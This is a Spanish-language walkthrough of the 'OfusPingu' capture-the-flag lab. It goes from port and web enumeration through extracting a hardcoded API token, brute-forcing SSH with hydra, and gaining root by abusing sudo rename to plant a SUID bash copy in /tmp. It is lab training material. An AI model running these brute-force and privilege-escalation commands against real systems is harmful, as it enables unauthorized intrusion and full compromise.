Resolución del CTF OfusPingu
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.105- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos los servicios HTTP en los puertos 80 y 3000, y SSH en el puerto 22.
Enumeración Web
Enumeramos contenido accesible en el servicio HTTP principal para localizar recursos relevantes.
gobuster dir -u http://192.168.0.105/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtLocalizamos un archivo JavaScript ofuscado que contiene lógica de validación y generación de tokens.
Extracción de Clave
Analizamos el código JavaScript y obtenemos una clave embebida utilizada por la aplicación para validar acceso.
echo "QWERTYCHOCOLATITOCHOCOLATONCHINGON"Explotación de API
Enumeramos rutas expuestas en el servicio Node.js del puerto 3000.
gobuster dir -u http://192.168.0.105:3000/ -w /usr/share/wordlists/dirb/common.txtInteractuamos con el endpoint /api utilizando la clave obtenida para generar acceso válido.
curl "http://192.168.0.105:3000/api?token=QWERTYCHOCOLATITOCHOCOLATONCHINGON"Con la respuesta, accedemos al endpoint /view, que revela la existencia del usuario debian para acceso SSH.
Acceso Inicial
Realizamos un ataque de fuerza bruta contra el servicio SSH para obtener credenciales válidas.
hydra -l debian -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.105 -fAccedemos al sistema mediante SSH con las credenciales obtenidas.
Escalada de Privilegios
Comprobamos los privilegios sudo asignados al usuario actual.
sudo -lDetectamos la posibilidad de ejecutar rename como root. Al ser un script Perl, abusamos de su evaluación para ejecutar comandos arbitrarios.
sudo rename 'system("cp /bin/bash /tmp/pwnsh; chmod 4755 /tmp/pwnsh")' dummyEjecutamos el binario SUID generado y obtenemos una shell con privilegios de root.
/tmp/pwnsh -pCon esto comprometemos completamente el sistema.
